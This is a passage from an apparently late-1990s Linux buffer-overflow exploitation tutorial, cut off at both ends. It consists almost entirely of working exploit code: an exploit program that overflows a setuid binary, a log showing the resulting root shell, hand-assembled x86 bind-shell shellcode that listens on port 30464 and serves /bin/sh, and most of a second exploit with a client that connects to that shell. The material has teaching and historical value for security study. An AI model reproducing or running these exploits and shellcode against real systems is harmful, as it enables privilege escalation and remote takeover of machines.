  680.     "\x89\x1e"                      /* movl %ebx,(%esi)      */
  681.     "\x83\xc6\x03"                  /* addl %0x3,%esi        */
  682.     "\xe0\xf9"                      /* loopne -0x7           */
  683.     "\x5e"                          /* popl %esi             */
  684.     "\xb0\x3d"                      /* movb $0x3d,%al        */
  685.     "\x8d\x5e\x10"                  /* leal 0x10(%esi),%ebx  */
  686.     "\xcd\x80"                      /* int $0x80             */
  687.     "\x31\xc0"                      /* xorl %eax,%eax        */
  688.     "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  689.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  690.     "\xb0\x0b"                      /* movb $0xb,%al         */
  691.     "\x89\xf3"                      /* movl %esi,%ebx        */
  692.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  693.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  694.     "\xcd\x80"                      /* int $0x80             */
  695.     "\xe8\xac\xff\xff\xff"          /* call -0x54            */
  696.     "/bin/sh";                      /* .string \"/bin/sh\"   */
  697.  
  698. unsigned long get_sp(void)
  699. {
  700.     __asm__("movl %esp,%eax");
  701. }
  702.  
  703. void main(int argc,char **argv)
  704. {
  705.     char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  706.     long addr;
  707.     unsigned long sp;
  708.     int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
  709.     int i;
  710.  
  711.     if(argc>1)
  712.         offset=atoi(argv[1]);
  713.  
  714.     sp=get_sp();
  715.     addr=sp-offset;
  716.  
  717.     for(i=0;i<bsize;i+=4)
  718.     {
  719.         buff[i+ALIGN]=(addr&0x000000ff);
  720.         buff[i+ALIGN+1]=(addr&0x0000ff00)>>8;
  721.         buff[i+ALIGN+2]=(addr&0x00ff0000)>>16;
  722.         buff[i+ALIGN+3]=(addr&0xff000000)>>24;
  723.     }
  724.  
  725.     for(i=0;i<bsize-RANGE*2-strlen(shellcode)-1;i++)
  726.         buff[i]=NOP;
  727.  
  728.     ptr=buff+bsize-RANGE*2-strlen(shellcode)-1;
  729.     for(i=0;i<strlen(shellcode);i++)
  730.         *(ptr++)=shellcode[i];
  731.  
  732.     buff[bsize-1]='\0';
  733.  
  734.     printf("Jump to 0x%08x\n",addr);
  735.  
  736.     execl("./vulnerable3","vulnerable3",buff,0);
  737. }
  738. ----------------------------------------------------------------------------
  739.  
  740. exploit the vulnerable3 program
  741. ----------------------------------------------------------------------------
  742. [ ohhara@ohhara ~ ] {1} $ ls -l vulnerable3
  743. -rwsr-xr-x   1 root     root         4348 Oct 18 15:06 vulnerable3*
  744. [ ohhara@ohhara ~ ] {2} $ ls -l exploit3
  745. -rwxr-xr-x   1 ohhara   cse          5059 Oct 18 17:13 exploit3*
  746. [ ohhara@ohhara ~ ] {3} $ ./exploit3
  747. Jump to 0xbfffec68
  748. Segmentation fault
  749. [ ohhara@ohhara ~ ] {4} $ ./exploit3 500
  750. Jump to 0xbfffea74
  751. Segmentation fault
  752. [ ohhara@ohhara ~ ] {5} $ ./exploit3 -500
  753. Jump to 0xbfffee5c
  754. bash# whoami
  755. root
  756. bash# pwd
  757. /home/ftp
  758. bash# cd /
  759. bash# pwd
  760. /
  761. bash# ls
  762. afs  boot  etc     home  lost+found  mnt   root  tmp  var
  763. bin  dev   export  lib   misc        proc  sbin  usr
  764. bash#
  765. ----------------------------------------------------------------------------
  766.  
  767. 5.5 What can you do with this technique?
  768.  You cannot access root directory by attacking a chrooted setuid program with
  769. buffer overflow. However, you can access all directories with this technique.
  770.  
  771. 6 Open socket
  772.  You can see the daemon crash if you try to overflow the buffer in a daemon.
  773. In many cases, you have to execute a shell, open a socket, and connect to
  774. your standard I/O. If you don't, you cannot get a shell. Even if you get a
  775. shell, the server crashes immediately, so you can't command anything. In this
  776. case, you have to make complex shellcode to connect to your standard I/O.
  777.  
  778. 6.1 The example vulnerable program
  779.  
  780. ----------------------------------------------------------------------------
  781. #include<string.h>
  782.  
  783. int main(int argc,char **argv)
  784. {
  785.     char buffer[1024];
  786.     if(argc>1)
  787.         strcpy(buffer,argv[1]);
  788. }
  789. ----------------------------------------------------------------------------
  790.  
  791.  This is standard vulnerable program. I will use this for socket opening
  792. buffer overflow. Because I am too lazy to make a example daemon program. :)
  793. However, after you see the code, you will not be disappointed.
  794.  
  795. 6.2 Make open socket code
  796.  If you can execute below code, you can open a socket.
  797.  
  798. opensocketasm1.c
  799. ----------------------------------------------------------------------------
  800. #include<unistd.h>
  801. #include<sys/socket.h>
  802. #include<netinet/in.h>
  803.  
  804. int soc,cli,soc_len;
  805. struct sockaddr_in serv_addr;
  806. struct sockaddr_in cli_addr;
  807.  
  808. int main()
  809. {
  810.     if(fork()==0)
  811.     {
  812.         serv_addr.sin_family=AF_INET;
  813.         serv_addr.sin_addr.s_addr=htonl(INADDR_ANY);
  814.         serv_addr.sin_port=htons(30464);
  815.         soc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
  816.         bind(soc,(struct sockaddr *)&serv_addr,sizeof(serv_addr));
  817.         listen(soc,1);
  818.         soc_len=sizeof(cli_addr);
  819.         cli=accept(soc,(struct sockaddr *)&cli_addr,&soc_len);
  820.         dup2(cli,0);
  821.         dup2(cli,1);
  822.         dup2(cli,2);
  823.         execl("/bin/sh","sh",0);
  824.     }
  825. }
  826. ----------------------------------------------------------------------------
  827.  
  828.  It's difficult to make with assembly language. You can make this program
  829. simple.
  830.  
  831. opensocketasm2.c
  832. ----------------------------------------------------------------------------
  833. #include<unistd.h>
  834. #include<sys/socket.h>
  835. #include<netinet/in.h>
  836.  
  837. int soc,cli;
  838. struct sockaddr_in serv_addr;
  839.  
  840. int main()
  841. {
  842.     if(fork()==0)
  843.     {
  844.         serv_addr.sin_family=2;
  845.         serv_addr.sin_addr.s_addr=0;
  846.         serv_addr.sin_port=0x77;
  847.         soc=socket(2,1,6);
  848.         bind(soc,(struct sockaddr *)&serv_addr,0x10);
  849.         listen(soc,1);
  850.         cli=accept(soc,0,0);
  851.         dup2(cli,0);
  852.         dup2(cli,1);
  853.         dup2(cli,2);
  854.         execl("/bin/sh","sh",0);
  855.     }
  856. }
  857. ----------------------------------------------------------------------------
  858.  
  859. compile and disassemble
  860. ----------------------------------------------------------------------------
  861. [ ohhara@ohhara ~ ] {1} $ gcc -o opensocketasm2 -static opensocketasm2.c
  862. [ ohhara@ohhara ~ ] {2} $ gdb opensocketasm2
  863. GNU gdb 4.17
  864. Copyright 1998 Free Software Foundation, Inc.
  865. GDB is free software, covered by the GNU General Public License, and you are
  866. welcome to change it and/or distribute copies of it under certain conditions.
  867. Type "show copying" to see the conditions.
  868. There is absolutely no warranty for GDB.  Type "show warranty" for details.
  869. This GDB was configured as "i386-redhat-linux"...
  870. (gdb) disassemble fork
  871. Dump of assembler code for function fork:
  872. 0x804ca90 <fork>:       movl   $0x2,%eax
  873. 0x804ca95 <fork+5>:     int    $0x80
  874. 0x804ca97 <fork+7>:     cmpl   $0xfffff001,%eax
  875. 0x804ca9c <fork+12>:    jae    0x804cdc0 <__syscall_error>
  876. 0x804caa2 <fork+18>:    ret    
  877. 0x804caa3 <fork+19>:    nop    
  878. 0x804caa4 <fork+20>:    nop    
  879. 0x804caa5 <fork+21>:    nop    
  880. 0x804caa6 <fork+22>:    nop    
  881. 0x804caa7 <fork+23>:    nop    
  882. 0x804caa8 <fork+24>:    nop    
  883. 0x804caa9 <fork+25>:    nop    
  884. 0x804caaa <fork+26>:    nop    
  885. 0x804caab <fork+27>:    nop    
  886. 0x804caac <fork+28>:    nop    
  887. 0x804caad <fork+29>:    nop    
  888. 0x804caae <fork+30>:    nop    
  889. 0x804caaf <fork+31>:    nop    
  890. End of assembler dump.
  891. (gdb) disassemble socket
  892. Dump of assembler code for function socket:
  893. 0x804cda0 <socket>:     movl   %ebx,%edx
  894. 0x804cda2 <socket+2>:   movl   $0x66,%eax
  895. 0x804cda7 <socket+7>:   movl   $0x1,%ebx
  896. 0x804cdac <socket+12>:  leal   0x4(%esp,1),%ecx
  897. 0x804cdb0 <socket+16>:  int    $0x80
  898. 0x804cdb2 <socket+18>:  movl   %edx,%ebx
  899. 0x804cdb4 <socket+20>:  cmpl   $0xffffff83,%eax
  900. 0x804cdb7 <socket+23>:  jae    0x804cdc0 <__syscall_error>
  901. 0x804cdbd <socket+29>:  ret    
  902. 0x804cdbe <socket+30>:  nop    
  903. 0x804cdbf <socket+31>:  nop    
  904. End of assembler dump.
  905. (gdb) disassemble bind
  906. Dump of assembler code for function bind:
  907. 0x804cd60 <bind>:       movl   %ebx,%edx
  908. 0x804cd62 <bind+2>:     movl   $0x66,%eax
  909. 0x804cd67 <bind+7>:     movl   $0x2,%ebx
  910. 0x804cd6c <bind+12>:    leal   0x4(%esp,1),%ecx
  911. 0x804cd70 <bind+16>:    int    $0x80
  912. 0x804cd72 <bind+18>:    movl   %edx,%ebx
  913. 0x804cd74 <bind+20>:    cmpl   $0xffffff83,%eax
  914. 0x804cd77 <bind+23>:    jae    0x804cdc0 <__syscall_error>
  915. 0x804cd7d <bind+29>:    ret    
  916. 0x804cd7e <bind+30>:    nop    
  917. 0x804cd7f <bind+31>:    nop    
  918. End of assembler dump.
  919. (gdb) disassemble listen
  920. Dump of assembler code for function listen:
  921. 0x804cd80 <listen>:     movl   %ebx,%edx
  922. 0x804cd82 <listen+2>:   movl   $0x66,%eax
  923. 0x804cd87 <listen+7>:   movl   $0x4,%ebx
  924. 0x804cd8c <listen+12>:  leal   0x4(%esp,1),%ecx
  925. 0x804cd90 <listen+16>:  int    $0x80
  926. 0x804cd92 <listen+18>:  movl   %edx,%ebx
  927. 0x804cd94 <listen+20>:  cmpl   $0xffffff83,%eax
  928. 0x804cd97 <listen+23>:  jae    0x804cdc0 <__syscall_error>
  929. 0x804cd9d <listen+29>:  ret    
  930. 0x804cd9e <listen+30>:  nop    
  931. 0x804cd9f <listen+31>:  nop    
  932. End of assembler dump.
  933. (gdb) disassemble accept
  934. Dump of assembler code for function __accept:
  935. 0x804cd40 <__accept>:   movl   %ebx,%edx
  936. 0x804cd42 <__accept+2>: movl   $0x66,%eax
  937. 0x804cd47 <__accept+7>: movl   $0x5,%ebx
  938. 0x804cd4c <__accept+12>:        leal   0x4(%esp,1),%ecx
  939. 0x804cd50 <__accept+16>:        int    $0x80
  940. 0x804cd52 <__accept+18>:        movl   %edx,%ebx
  941. 0x804cd54 <__accept+20>:        cmpl   $0xffffff83,%eax
  942. 0x804cd57 <__accept+23>:        jae    0x804cdc0 <__syscall_error>
  943. 0x804cd5d <__accept+29>:        ret    
  944. 0x804cd5e <__accept+30>:        nop    
  945. 0x804cd5f <__accept+31>:        nop    
  946. End of assembler dump.
  947. (gdb) disassemble dup2  
  948. Dump of assembler code for function dup2:
  949. 0x804cbe0 <dup2>:       movl   %ebx,%edx
  950. 0x804cbe2 <dup2+2>:     movl   0x8(%esp,1),%ecx
  951. 0x804cbe6 <dup2+6>:     movl   0x4(%esp,1),%ebx
  952. 0x804cbea <dup2+10>:    movl   $0x3f,%eax
  953. 0x804cbef <dup2+15>:    int    $0x80
  954. 0x804cbf1 <dup2+17>:    movl   %edx,%ebx
  955. 0x804cbf3 <dup2+19>:    cmpl   $0xfffff001,%eax
  956. 0x804cbf8 <dup2+24>:    jae    0x804cdc0 <__syscall_error>
  957. 0x804cbfe <dup2+30>:    ret    
  958. 0x804cbff <dup2+31>:    nop    
  959. End of assembler dump.
  960. (gdb)
  961. ----------------------------------------------------------------------------
  962.  
  963. fork(); code
  964. ----------------------------------------------------------------------------
  965. char code[]=
  966.     "\x31\xc0"                      /* xorl %eax,%eax        */
  967.     "\xb0\x02"                      /* movb $0x2,%al         */
  968.     "\xcd\x80";                     /* int $0x80             */
  969. ----------------------------------------------------------------------------
  970.  
  971. socket(2,1,6); code
  972. ----------------------------------------------------------------------------
  973.     /* %ecx is a pointer of all arguments.                   */
  974. char code[]=
  975.     "\x31\xc0"                      /* xorl %eax,%eax        */
  976.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  977.     "\x89\xf1"                      /* movl %esi,%ecx        */
  978.     "\xb0\x02"                      /* movb $0x2,%al         */
  979.     "\x89\x06"                      /* movl %eax,(%esi)      */
  980.     /* The first argument.                                   */
  981.     /* %esi has reference free memory space before using     */
  982.     /* this instruction.                                     */
  983.     "\xb0\x01"                      /* movb $0x1,%al         */
  984.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  985.     /* The second argument.                                  */
  986.     "\xb0\x06"                      /* movb $0x6,%al         */
  987.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  988.     /* The third argument.                                   */
  989.     "\xb0\x66"                      /* movb $0x66,%al        */
  990.     "\xb3\x01"                      /* movb $0x1,%bl         */
  991.     "\xcd\x80";                     /* int $0x80             */
  992. ----------------------------------------------------------------------------
  993.  
  994. bind(soc,(struct sockaddr *)&serv_addr,0x10); code
  995. ----------------------------------------------------------------------------
  996.     /* %ecx is a pointer of all arguments.                   */
  997. char code[]=
  998.     "\x89\xf1"                      /* movl %esi,%ecx        */
  999.     "\x89\x06"                      /* movl %eax,(%esi)      */
  1000.     /* %eax has to have soc value before using this          */
  1001.     /* instruction.                                          */
  1002.     /* the first argument.                                   */
  1003.     "\xb0\x02"                      /* movb $0x2,%al         */
  1004.     "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
  1005.     /* serv_addr.sin_family=2                                */
  1006.     /* 2 is stored at 0xc(%esi).                             */
  1007.     "\xb0\x77"                      /* movb $0x77,%al        */
  1008.     "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
  1009.     /* store port number at 0xe(%esi)                        */
  1010.     "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
  1011.     /* %eax = the address of serv_addr                       */
  1012.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1013.     /* the second argument.                                  */
  1014.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1015.     "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
  1016.     /* serv_addr.sin_addr.s_addr=0                           */
  1017.     /* 0 is stored at 0x10(%esi).                            */
  1018.     "\xb0\x10"                      /* movb $0x10,%al        */
  1019.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  1020.     /* the third argument.                                   */
  1021.     "\xb0\x66"                      /* movb $0x66,%al        */
  1022.     "\xb3\x02"                      /* movb $0x2,%bl         */
  1023.     "\xcd\x80";                     /* int $0x80             */
  1024. ----------------------------------------------------------------------------
  1025.  
  1026. listen(soc,1); code
  1027. ----------------------------------------------------------------------------
  1028.     /* %ecx is a pointer of all arguments.                   */
  1029. char code[]=
  1030.     "\x89\xf1"                      /* movl %esi,%ecx        */
  1031.     "\x89\x06"                      /* movl %eax,(%esi)      */
  1032.     /* %eax has to have soc value before using this          */
  1033.     /* instruction.                                          */
  1034.     /* the first argument.                                   */
  1035.     "\xb0\x01"                      /* movb $0x1,%al         */
  1036.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1037.     /* the second argument.                                  */
  1038.     "\xb0\x66"                      /* movb $0x66,%al        */
  1039.     "\xb3\x04"                      /* movb $0x4,%bl         */
  1040.     "\xcd\x80";                     /* int $0x80             */
  1041. ----------------------------------------------------------------------------
  1042.  
  1043. accept(soc,0,0); code
  1044. ----------------------------------------------------------------------------
  1045.     /* %ecx is a pointer of all arguments.                   */
  1046. char code[]=
  1047.     "\x89\xf1"                      /* movl %esi,%ecx        */
  1048.     "\x89\xf1"                      /* movl %eax,(%esi)      */
  1049.     /* %eax has to have soc value before using this          */
  1050.     /* instruction.                                          */
  1051.     /* the first argument.                                   */
  1052.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1053.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1054.     /* the second argument.                                  */
  1055.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  1056.     /* the third argument.                                   */
  1057.     "\xb0\x66"                      /* movb $0x66,%al        */
  1058.     "\xb3\x05"                      /* movb $0x5,%bl         */
  1059.     "\xcd\x80";                     /* int $0x80             */
  1060. ----------------------------------------------------------------------------
  1061.  
  1062. dup2(cli,0); code
  1063. ----------------------------------------------------------------------------
  1064.     /* the first argument is %ebx and the second argument    */
  1065.     /* is %ecx                                               */
  1066. char code[]=
  1067.     /* %eax has to have cli value before using this          */
  1068.     /* instruction.                                          */
  1069.     "\x88\xc3"                      /* movb %al,%bl          */
  1070.     "\xb0\x3f"                      /* movb $0x3f,%al        */
  1071.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  1072.     "\xcd\x80";                     /* int $0x80             */
  1073. ----------------------------------------------------------------------------
  1074.  
  1075. 6.3 Modify the normal shellcode
  1076.  
  1077.  You need some works to merge the above codes.
  1078.  
  1079. new shellcode
  1080. ----------------------------------------------------------------------------
  1081. char shellcode[]=
  1082.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1083.     "\xb0\x02"                      /* movb $0x2,%al         */
  1084.     "\xcd\x80"                      /* int $0x80             */
  1085.     "\x85\xc0"                      /* testl %eax,%eax       */
  1086.     "\x75\x43"                      /* jne 0x43              */
  1087.     /* fork()!=0 case                                        */
  1088.     /* It will call exit(0)                                  */
  1089.     /* To do that, it will jump twice, because exit(0) is    */
  1090.     /* located so far.                                       */
  1091.     "\xeb\x43"                      /* jmp 0x43              */
  1092.     /* fork()==0 case                                        */
  1093.     /* It will call -0xa5                                    */
  1094.     /* To do that, it will jump twice, because call -0xa5    */
  1095.     /* is located so far.                                    */
  1096.     "\x5e"                          /* popl %esi             */
  1097.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1098.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  1099.     "\x89\xf1"                      /* movl %esi,%ecx        */
  1100.     "\xb0\x02"                      /* movb $0x2,%al         */
  1101.     "\x89\x06"                      /* movl %eax,(%esi)      */
  1102.     "\xb0\x01"                      /* movb $0x1,%al         */
  1103.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1104.     "\xb0\x06"                      /* movb $0x6,%al         */
  1105.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  1106.     "\xb0\x66"                      /* movb $0x66,%al        */
  1107.     "\xb3\x01"                      /* movb $0x1,%bl         */
  1108.     "\xcd\x80"                      /* int $0x80             */
  1109.     "\x89\x06"                      /* movl %eax,(%esi)      */
  1110.     "\xb0\x02"                      /* movb $0x2,%al         */
  1111.     "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
  1112.     "\xb0\x77"                      /* movb $0x77,%al        */
  1113.     "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
  1114.     "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
  1115.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1116.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1117.     "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
  1118.     "\xb0\x10"                      /* movb $0x10,%al        */
  1119.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  1120.     "\xb0\x66"                      /* movb $0x66,%al        */
  1121.     "\xb3\x02"                      /* movb $0x2,%bl         */
  1122.     "\xcd\x80"                      /* int $0x80             */
  1123.     "\xeb\x04"                      /* jmp 0x4               */
  1124.     "\xeb\x55"                      /* jmp 0x55              */
  1125.     "\xeb\x5b"                      /* jmp 0x5b              */
  1126.     "\xb0\x01"                      /* movb $0x1,%al         */
  1127.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1128.     "\xb0\x66"                      /* movb $0x66,%al        */
  1129.     "\xb3\x04"                      /* movb $0x4,%bl         */
  1130.     "\xcd\x80"                      /* int $0x80             */
  1131.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1132.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1133.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  1134.     "\xb0\x66"                      /* movb $0x66,%al        */
  1135.     "\xb3\x05"                      /* movb $0x5,%bl         */
  1136.     "\xcd\x80"                      /* int $0x80             */
  1137.     "\x88\xc3"                      /* movb %al,%bl          */
  1138.     "\xb0\x3f"                      /* movb $0x3f,%al        */
  1139.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  1140.     "\xcd\x80"                      /* int $0x80             */
  1141.     "\xb0\x3f"                      /* movb $0x3f,%al        */
  1142.     "\xb1\x01"                      /* movb $0x1,%cl         */
  1143.     "\xcd\x80"                      /* int $0x80             */
  1144.     "\xb0\x3f"                      /* movb $0x3f,%al        */
  1145.     "\xb1\x02"                      /* movb $0x2,%cl         */
  1146.     "\xcd\x80"                      /* int $0x80             */
  1147.     "\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
  1148.     /* %eax="/bin"                                           */
  1149.     "\x89\x06"                      /* movl %eax,(%esi)      */
  1150.     "\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
  1151.     /* %eax="/sh/"                                           */
  1152.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1153.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1154.     "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  1155.     "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  1156.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  1157.     "\xb0\x0b"                      /* movb $0xb,%al         */
  1158.     "\x89\xf3"                      /* movl %esi,%ebx        */
  1159.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  1160.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  1161.     "\xcd\x80"                      /* int $0x80             */
  1162.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1163.     "\xb0\x01"                      /* movb $0x1,%al         */
  1164.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  1165.     "\xcd\x80"                      /* int $0x80             */
  1166.     "\xe8\x5b\xff\xff\xff";         /* call -0xa5            */
  1167. ----------------------------------------------------------------------------
  1168.  
  1169. 6.4  Exploit vulnerable4 program
  1170.  With this shellcode, you can make an exploit code easily. And You have to
  1171. make code which connects to the socket.
  1172.  
  1173. exploit4.c
  1174. ----------------------------------------------------------------------------
  1175. #include<stdio.h>
  1176. #include<stdlib.h>
  1177. #include<unistd.h>
  1178. #include<netdb.h>
  1179. #include<netinet/in.h>
  1180.  
  1181. #define ALIGN                             0
  1182. #define OFFSET                            0
  1183. #define RET_POSITION                   1024
  1184. #define RANGE                            20
  1185. #define NOP                            0x90
  1186.  
  1187. char shellcode[]=
  1188.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1189.     "\xb0\x02"                      /* movb $0x2,%al         */
  1190.     "\xcd\x80"                      /* int $0x80             */
  1191.     "\x85\xc0"                      /* testl %eax,%eax       */
  1192.     "\x75\x43"                      /* jne 0x43              */
  1193.     "\xeb\x43"                      /* jmp 0x43              */
  1194.     "\x5e"                          /* popl %esi             */
  1195.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1196.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  1197.     "\x89\xf1"                      /* movl %esi,%ecx        */
  1198.     "\xb0\x02"                      /* movb $0x2,%al         */
  1199.     "\x89\x06"                      /* movl %eax,(%esi)      */
  1200.     "\xb0\x01"                      /* movb $0x1,%al         */
  1201.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1202.     "\xb0\x06"                      /* movb $0x6,%al         */
  1203.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  1204.     "\xb0\x66"                      /* movb $0x66,%al        */
  1205.     "\xb3\x01"                      /* movb $0x1,%bl         */
  1206.     "\xcd\x80"                      /* int $0x80             */
  1207.     "\x89\x06"                      /* movl %eax,(%esi)      */
  1208.     "\xb0\x02"                      /* movb $0x2,%al         */
  1209.     "\x66\x89\x46\x0c"              /* movw %ax,0xc(%esi)    */
  1210.     "\xb0\x77"                      /* movb $0x77,%al        */
  1211.     "\x66\x89\x46\x0e"              /* movw %ax,0xe(%esi)    */
  1212.     "\x8d\x46\x0c"                  /* leal 0xc(%esi),%eax   */
  1213.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1214.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1215.     "\x89\x46\x10"                  /* movl %eax,0x10(%esi)  */
  1216.     "\xb0\x10"                      /* movb $0x10,%al        */
  1217.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  1218.     "\xb0\x66"                      /* movb $0x66,%al        */
  1219.     "\xb3\x02"                      /* movb $0x2,%bl         */
  1220.     "\xcd\x80"                      /* int $0x80             */
  1221.     "\xeb\x04"                      /* jmp 0x4               */
  1222.     "\xeb\x55"                      /* jmp 0x55              */
  1223.     "\xeb\x5b"                      /* jmp 0x5b              */
  1224.     "\xb0\x01"                      /* movb $0x1,%al         */
  1225.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1226.     "\xb0\x66"                      /* movb $0x66,%al        */
  1227.     "\xb3\x04"                      /* movb $0x4,%bl         */
  1228.     "\xcd\x80"                      /* int $0x80             */
  1229.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1230.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1231.     "\x89\x46\x08"                  /* movl %eax,0x8(%esi)   */
  1232.     "\xb0\x66"                      /* movb $0x66,%al        */
  1233.     "\xb3\x05"                      /* movb $0x5,%bl         */
  1234.     "\xcd\x80"                      /* int $0x80             */
  1235.     "\x88\xc3"                      /* movb %al,%bl          */
  1236.     "\xb0\x3f"                      /* movb $0x3f,%al        */
  1237.     "\x31\xc9"                      /* xorl %ecx,%ecx        */
  1238.     "\xcd\x80"                      /* int $0x80             */
  1239.     "\xb0\x3f"                      /* movb $0x3f,%al        */
  1240.     "\xb1\x01"                      /* movb $0x1,%cl         */
  1241.     "\xcd\x80"                      /* int $0x80             */
  1242.     "\xb0\x3f"                      /* movb $0x3f,%al        */
  1243.     "\xb1\x02"                      /* movb $0x2,%cl         */
  1244.     "\xcd\x80"                      /* int $0x80             */
  1245.     "\xb8\x2f\x62\x69\x6e"          /* movl $0x6e69622f,%eax */
  1246.     "\x89\x06"                      /* movl %eax,(%esi)      */
  1247.     "\xb8\x2f\x73\x68\x2f"          /* movl $0x2f68732f,%eax */
  1248.     "\x89\x46\x04"                  /* movl %eax,0x4(%esi)   */
  1249.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1250.     "\x88\x46\x07"                  /* movb %al,0x7(%esi)    */
  1251.     "\x89\x76\x08"                  /* movl %esi,0x8(%esi)   */
  1252.     "\x89\x46\x0c"                  /* movl %eax,0xc(%esi)   */
  1253.     "\xb0\x0b"                      /* movb $0xb,%al         */
  1254.     "\x89\xf3"                      /* movl %esi,%ebx        */
  1255.     "\x8d\x4e\x08"                  /* leal 0x8(%esi),%ecx   */
  1256.     "\x8d\x56\x0c"                  /* leal 0xc(%esi),%edx   */
  1257.     "\xcd\x80"                      /* int $0x80             */
  1258.     "\x31\xc0"                      /* xorl %eax,%eax        */
  1259.     "\xb0\x01"                      /* movb $0x1,%al         */
  1260.     "\x31\xdb"                      /* xorl %ebx,%ebx        */
  1261.     "\xcd\x80"                      /* int $0x80             */
  1262.     "\xe8\x5b\xff\xff\xff";         /* call -0xa5            */
  1263.  
  1264. unsigned long get_sp(void)
  1265. {
  1266.     __asm__("movl %esp,%eax");
  1267. }
  1268.  
  1269. long getip(char *name)
  1270. {
  1271.     struct hostent *hp;
  1272.     long ip;
  1273.     if((ip=inet_addr(name))==-1)
  1274.     {
  1275.         if((hp=gethostbyname(name))==NULL)
  1276.         {
  1277.             fprintf(stderr,"Can't resolve host.\n");
  1278.             exit(0);
  1279.         }
  1280.         memcpy(&ip,(hp->h_addr),4);
  1281.     }
  1282.     return ip;
  1283. }
  1284.  
  1285. int exec_sh(int sockfd)
  1286. {
  1287.     char snd[4096],rcv[4096];
  1288.     fd_set rset;
  1289.     while(1)
  1290.     {
  1291.         FD_ZERO(&rset);
  1292.         FD_SET(fileno(stdin),&rset);
  1293.         FD_SET(sockfd,&rset);
  1294.         select(255,&rset,NULL,NULL,NULL);
  1295.         if(FD_ISSET(fileno(stdin),&rset))
  1296.         {
  1297.             memset(snd,0,sizeof(snd));
  1298.             fgets(snd,sizeof(snd),stdin);
  1299.             write(sockfd,snd,strlen(snd));
  1300.         }
  1301.         if(FD_ISSET(sockfd,&rset))
  1302.         {
  1303.             memset(rcv,0,sizeof(rcv));
  1304.             if(read(sockfd,rcv,sizeof(rcv))<=0)
  1305.                 exit(0);
  1306.             fputs(rcv,stdout);
  1307.         }
  1308.     }
  1309. }
  1310.  
  1311. int connect_sh(long ip)
  1312. {
  1313.     int sockfd,i;
  1314.     struct sockaddr_in sin;
  1315.     printf("Connect to the shell\n");
  1316.     fflush(stdout);
  1317.     memset(&sin,0,sizeof(sin));
  1318.     sin.sin_family=AF_INET;
  1319.     sin.sin_port=htons(30464);
  1320.     sin.sin_addr.s_addr=ip;
  1321.     if((sockfd=socket(AF_INET,SOCK_STREAM,0))<0)
  1322.     {
  1323.         printf("Can't create socket\n");
  1324.         exit(0);
  1325.     }
  1326.     if(connect(sockfd,(struct sockaddr *)&sin,sizeof(sin))<0)
  1327.     {
  1328.         printf("Can't connect to the shell\n");
  1329.         exit(0);
  1330.     }
  1331.     return sockfd;
  1332. }
  1333.  
  1334. void main(int argc,char **argv)
  1335. {
  1336.     char buff[RET_POSITION+RANGE+ALIGN+1],*ptr;
  1337.     long addr;
  1338.     unsigned long sp;
  1339.     int offset=OFFSET,bsize=RET_POSITION+RANGE+ALIGN+1;
